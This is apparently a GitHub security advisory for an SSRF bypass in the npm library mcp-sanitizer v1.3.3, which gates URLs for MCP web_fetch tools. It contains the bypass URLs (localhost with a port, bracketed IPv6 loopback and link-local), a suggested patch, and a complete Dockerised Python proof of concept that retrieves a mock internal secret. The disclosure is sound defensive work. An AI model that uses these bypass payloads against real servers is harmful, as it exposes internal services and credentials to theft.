mcp-sanitizer: URL sanitizer allows localhost/IPv6 loopback SSRF bypass via explicit port or bracketed IPv6
What fixes it
- 1.4.0mcp-sanitizer, npmGitHub
npm install mcp-sanitizer@1.4.0
A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.
Description
URL sanitizer allows localhost/IPv6 loopback SSRF bypass via explicit port or bracketed IPv6
Summary
mcp-sanitizer v1.3.3 fails to block Server-Side Request Forgery (SSRF) targets when a localhost URL includes an explicit port (e.g., http://localhost:8080/) or when an IPv6 loopback/link-local address is expressed in bracketed notation (e.g., http://[::1]:8080/, http://[fe80::1]:8080/). Because the library is explicitly designed to gate MCP tool parameters such as web_fetch and web_scraper before outbound HTTP requests are made, a bypass here directly enables an attacker-controlled URL to reach internal services, leaking their responses.
Details
The vulnerability exists in src/utils/validation-utils.js inside the validateURLLocation() function that is called by _secureSanitizeURL() in src/sanitizer/mcp-sanitizer.js:698.
Bug 1 — Port-guarded localhost check (line 274–276):
// src/utils/validation-utils.js:274-276
if ((hostname === 'localhost' || hostname === '127.0.0.1' || hostname === '::1') && !parsedUrl.port) {
throw new Error('URL points to localhost without explicit port');
}The && !parsedUrl.port guard means that any localhost URL that includes a port number is *not* thrown. http://localhost:8080/ passes the check entirely, returning blocked: false with the original URL preserved.
Bug 2 — Bracketed IPv6 hostname mismatch (lines 272, 293–295):
// src/utils/validation-utils.js:293-295
if (hostname.startsWith('169.254.') || hostname.startsWith('fe80:')) {
throw new Error(`URL points to link-local address: ${hostname}`);
}The Node.js URL API returns parsedUrl.hostname for IPv6 addresses *with* surrounding brackets: [::1], [fe80::1]. The string comparison hostname === '::1' (line 274) and hostname.startsWith('fe80:') (line 293) therefore never match, because the actual string starts with [.
Data flow through the middleware:
src/middleware/express.js:499— tool name derived fromreq.params.toolName || req.body?.tool_name.src/middleware/express.js:548-554—web_scraper/web_fetchparams.urlforwarded tosanitizer.sanitize(url, { type: 'url' }).src/sanitizer/mcp-sanitizer.js:527-528— context typeurlroutes to_secureSanitizeURL().src/sanitizer/mcp-sanitizer.js:698-700—validateURLLocation(parsedUrl)called; on success,parsedUrl.toString()returned to caller as the sanitized, trusted URL.
Both bugs are in the default code path; no special configuration is required to trigger them.
Suggested patch:
--- a/src/utils/validation-utils.js
+++ b/src/utils/validation-utils.js
@@ const { URL } = require('url');
+const net = require('net');
@@
- const hostname = parsedUrl.hostname.toLowerCase();
+ const hostname = parsedUrl.hostname.toLowerCase().replace(/^\[|\]$/g, '').replace(/\.$/, '');
@@
- if ((hostname === 'localhost' || hostname === '127.0.0.1' || hostname === '::1') && !parsedUrl.port) {
- throw new Error('URL points to localhost without explicit port');
+ if (hostname === 'localhost' || hostname.endsWith('.localhost') || hostname === '::1') {
+ throw new Error('URL points to localhost or loopback');
}
@@
- if (hostname.startsWith('169.254.') || hostname.startsWith('fe80:')) {
+ if (hostname.startsWith('169.254.') || hostname.startsWith('fe80:') ||
+ hostname.startsWith('fc') || hostname.startsWith('fd')) {
throw new Error(`URL points to link-local address: ${hostname}`);
}
+
+ if (net.isIP(hostname) === 6 && (hostname === '::1' || hostname.startsWith('fe80:'))) {
+ throw new Error(`URL points to restricted IPv6 address: ${hostname}`);
+ }PoC
Prerequisites: Docker installed; no other dependencies required.
1. Build the Docker image:
docker build \ -f vuln-001/Dockerfile \ -t vuln-001-mcp-sanitizer \ reports/npmAI_754_starman69__mcp-sanitizer
2. Run the PoC:
docker run --rm vuln-001-mcp-sanitizer
The poc.py script inside the image:
- Starts a mock internal HTTP service on
127.0.0.1:8080serving the stringINTERNAL_SECRET_DATA_9f3a2b1c. - Calls
sanitizer.sanitize(url, { type: 'url' })via Node.js for five URLs (two expected-blocked, three bypass candidates). - Performs an actual
GET http://localhost:8080/using the sanitizer-approved URL and confirms the secret is returned.
Expected output (abbreviated):
[BYPASS_CONFIRMED] http://localhost:8080/ blocked=False sanitized=http://localhost:8080/ [BYPASS_CONFIRMED] http://[::1]:8080/ blocked=False sanitized=http://[::1]:8080/ [BYPASS_CONFIRMED] http://[fe80::1]:8080/ blocked=False sanitized=http://[fe80::1]:8080/ [SSRF HTTP 200] GET http://localhost:8080/ => 'INTERNAL_SECRET_DATA_9f3a2b1c\npath=/' [!!!] INTERNAL SECRET EXFILTRATED: INTERNAL_SECRET_DATA_9f3a2b1c RESULT: PASS - SSRF bypass fully demonstrated end-to-end
Baseline controls confirm the library *does* block http://localhost/ and http://127.0.0.1/ (blocked: true), proving the bypasses are not a general failure but a precise gap in the validation logic.
Minimal inline repro (no Docker):
# Inside the mcp-sanitizer repository root (npm ci first)
node - <<'NODE'
const MCPSanitizer = require('./src/sanitizer/mcp-sanitizer');
const sanitizer = new MCPSanitizer();
for (const url of [
'http://localhost:8080/',
'http://[::1]:8080/',
'http://[fe80::1]:8080/'
]) {
const r = sanitizer.sanitize(url, { type: 'url' });
console.log(url, '=> blocked=', r.blocked, 'sanitized=', r.sanitized);
}
NODEImpact
This is a Server-Side Request Forgery (SSRF) vulnerability. Any application that:
- Uses
mcp-sanitizer'ssanitize()/createMCPToolMiddleware()as the security boundary for outbound URLs, and - Passes the returned sanitized URL to an HTTP client (the library's documented intended use for
web_fetch/web_scraperMCP tools),
is exploitable by any party that can supply the url parameter — typically an unauthenticated network attacker in an MCP server deployment.
Consequences:
- Confidentiality (High): The attacker can retrieve responses from internal services such as cloud metadata endpoints (e.g.,
http://169.254.169.254/), admin panels, or any localhost daemon, potentially exposing credentials, tokens, or sensitive configuration. - Integrity (Low): If internal services expose writable APIs, the attacker can trigger state changes or issue commands via HTTP.
- Availability: Not directly impacted.
The vulnerability requires no authentication, no special configuration, and no user interaction; it is exploitable in the default middleware path.
Reproduction artifacts
Dockerfile
FROM node:18-alpine # Install Python3 for the PoC script RUN apk add --no-cache python3 WORKDIR /app # Copy package files first for better layer caching COPY repo/package.json repo/package-lock.json ./ # Install Node.js dependencies (clean install, no dev deps) RUN npm ci --ignore-scripts --omit=dev # Copy library source COPY repo/src ./src/ # Copy PoC script COPY vuln-001/poc.py ./poc.py # Run the PoC by default CMD ["python3", "poc.py"]
poc.py
#!/usr/bin/env python3
"""
PoC for VULN-001: mcp-sanitizer SSRF bypass via localhost+port and IPv6 bracket notation
Library: mcp-sanitizer v1.3.3 (commit caff5d6)
CWE-918: Server-Side Request Forgery
CVSS 3.1: 8.2 (High)
Root cause:
src/utils/validation-utils.js:274:
if ((hostname === 'localhost' || hostname === '127.0.0.1' || hostname === '::1') && !parsedUrl.port)
- The "&& !parsedUrl.port" guard means any localhost URL WITH a port bypasses the block.
- Node.js URL API returns hostname as "[::1]" / "[fe80::1]" (with brackets) for IPv6,
so the string equality check against "::1" and startsWith("fe80:") both silently fail.
Attack scenario:
1. Attacker controls the "url" parameter of a web_fetch / web_scraper MCP tool call.
2. The server calls sanitize(params.url, { type: 'url' }) and trusts the result.
3. Because the bypass succeeds, the server makes an outbound HTTP request to an internal
service (localhost:PORT), leaking its response to the attacker.
"""
import subprocess
import sys
import json
import http.server
import threading
import urllib.request
import os
# ─────────────────────────────────────────────────────────────────────────────
# Step 1: Start a mock "internal" service on 127.0.0.1:8080
# This simulates a privileged internal endpoint (e.g., metadata API,
# admin panel) that should never be reachable from external input.
# ─────────────────────────────────────────────────────────────────────────────
INTERNAL_PORT = 8080
INTERNAL_SECRET = "INTERNAL_SECRET_DATA_9f3a2b1c"
class InternalServiceHandler(http.server.BaseHTTPRequestHandler):
"""Simulates a restricted internal HTTP service (e.g., admin API or metadata endpoint)."""
def do_GET(self):
self.send_response(200)
self.send_header("Content-Type", "text/plain")
self.send_header("X-Internal", "true")
self.end_headers()
self.wfile.write(f"{INTERNAL_SECRET}\npath={self.path}\n".encode())
def log_message(self, fmt, *args):
pass # Suppress default access logs for cleaner output
internal_server = http.server.HTTPServer(("127.0.0.1", INTERNAL_PORT), InternalServiceHandler)
srv_thread = threading.Thread(target=internal_server.serve_forever, daemon=True)
srv_thread.start()
print(f"[*] Mock internal service started on 127.0.0.1:{INTERNAL_PORT}")
print(f"[*] Internal secret: {INTERNAL_SECRET}\n")
# ─────────────────────────────────────────────────────────────────────────────
# Step 2: Run the mcp-sanitizer via Node.js to test bypass URLs
# ─────────────────────────────────────────────────────────────────────────────
NODE_SCRIPT = r"""
'use strict';
const MCPSanitizer = require('./src/sanitizer/mcp-sanitizer');
const sanitizer = new MCPSanitizer();
const tests = [
// These should be BLOCKED (baseline: library is supposed to block localhost)
{ url: 'http://localhost/', expectBlocked: true },
{ url: 'http://127.0.0.1/', expectBlocked: true },
// These are the BYPASS cases (the vulnerability)
{ url: 'http://localhost:8080/', expectBlocked: false },
{ url: 'http://[::1]:8080/', expectBlocked: false },
{ url: 'http://[fe80::1]:8080/', expectBlocked: false },
];
const out = tests.map(t => {
let result;
try {
result = sanitizer.sanitize(t.url, { type: 'url' });
return {
url: t.url,
blocked: result.blocked,
sanitized: result.sanitized,
expectBlocked: t.expectBlocked
};
} catch (err) {
return {
url: t.url,
blocked: true,
sanitized: null,
expectBlocked: t.expectBlocked,
error: err.message
};
}
});
process.stdout.write(JSON.stringify(out));
"""
print("[*] Running mcp-sanitizer URL sanitization tests via Node.js ...")
proc = subprocess.run(
["node", "-e", NODE_SCRIPT],
capture_output=True,
text=True,
cwd="/app"
)
if proc.returncode != 0:
print(f"[ERROR] Node.js process exited with code {proc.returncode}")
print(f"stderr: {proc.stderr}")
sys.exit(2)
if not proc.stdout.strip():
print("[ERROR] No output from Node.js process")
print(f"stderr: {proc.stderr}")
sys.exit(2)
results = json.loads(proc.stdout)
# ─────────────────────────────────────────────────────────────────────────────
# Step 3: Print sanitizer results and identify bypassed URLs
# ─────────────────────────────────────────────────────────────────────────────
print("[*] Sanitizer results:\n")
header = f"{'URL':<35} {'blocked':<8} {'sanitized':<35} status"
print(header)
print("-" * len(header))
bypass_urls = []
unexpected = []
for r in results:
blocked = r["blocked"]
expected = r["expectBlocked"]
sanitized_str = str(r.get("sanitized") or "null")
status = "OK" if blocked == expected else "UNEXPECTED"
if not blocked and r.get("sanitized"):
bypass_urls.append(r["sanitized"])
status = "BYPASS_CONFIRMED"
print(f"{r['url']:<35} {str(blocked):<8} {sanitized_str:<35} {status}")
if blocked != expected:
unexpected.append(r)
print()
# ─────────────────────────────────────────────────────────────────────────────
# Step 4: Perform actual SSRF request using the bypassed localhost:8080 URL
# This proves the sanitizer flaw leads to real internal service access.
# ─────────────────────────────────────────────────────────────────────────────
ssrf_confirmed = False
ssrf_evidence = None
ssrf_url = "http://localhost:8080/"
if ssrf_url in bypass_urls:
print(f"[*] Attempting SSRF: GET {ssrf_url} (using sanitizer-approved URL) ...")
try:
resp = urllib.request.urlopen(ssrf_url, timeout=5)
body = resp.read().decode().strip()
print(f"[*] HTTP response status: {resp.status}")
print(f"[*] HTTP response body:\n {body.replace(chr(10), chr(10) + ' ')}")
if INTERNAL_SECRET in body:
ssrf_confirmed = True
ssrf_evidence = body
print(f"\n[!!!] INTERNAL SECRET EXFILTRATED: {INTERNAL_SECRET}")
except Exception as exc:
print(f"[ERROR] HTTP request failed: {exc}")
else:
print(f"[WARN] {ssrf_url} was not in bypass_urls; skipping actual SSRF step")
internal_server.shutdown()
# ─────────────────────────────────────────────────────────────────────────────
# Step 5: Final verdict
# ─────────────────────────────────────────────────────────────────────────────
print(f"\n{'='*65}")
print("VERDICT")
print(f"{'='*65}")
print(f" Bypass URLs confirmed by sanitizer: {len(bypass_urls)}")
print(f" Bypassed URLs: {bypass_urls}")
print(f" Actual SSRF HTTP request succeeded: {ssrf_confirmed}")
print(f" Exfiltrated secret matches: {ssrf_confirmed and INTERNAL_SECRET in (ssrf_evidence or '')}")
if ssrf_confirmed and len(bypass_urls) >= 2:
print("\n RESULT: PASS - SSRF bypass fully demonstrated end-to-end")
print(" - mcp-sanitizer v1.3.3 did NOT block localhost:8080, [::1]:8080, [fe80::1]:8080")
print(f" - Actual HTTP GET to internal service returned: {ssrf_evidence!r}")
sys.exit(0)
elif len(bypass_urls) >= 2:
print("\n RESULT: PARTIAL - sanitizer bypass confirmed but live HTTP request failed")
print(f" - {len(bypass_urls)} URLs bypassed sanitizer: {bypass_urls}")
sys.exit(1)
else:
print("\n RESULT: FAIL - expected at least 2 bypass URLs")
sys.exit(1)Text from GitHub Advisory Database
Affected versions 2
- mcp-sanitizer, npm< 1.4.0GitHub
- mcp-sanitizer, npmfrom first release, fixed in 1.4.0OSV
References 4
- github.com/starman69/mcp-sanitizer/commit/200685889b073f7470859b0941b67b7f46255f09Fixvia GitHub
- github.com/starman69/mcp-sanitizer/releases/tag/v1.4.0Fixvia GitHub
- github.com/starman69/mcp-sanitizer/security/advisories/GHSA-4mfg-r38w-w8fgAdvisoryvia GitHub
- github.com/advisories/GHSA-4mfg-r38w-w8fgAdvisoryvia GitHub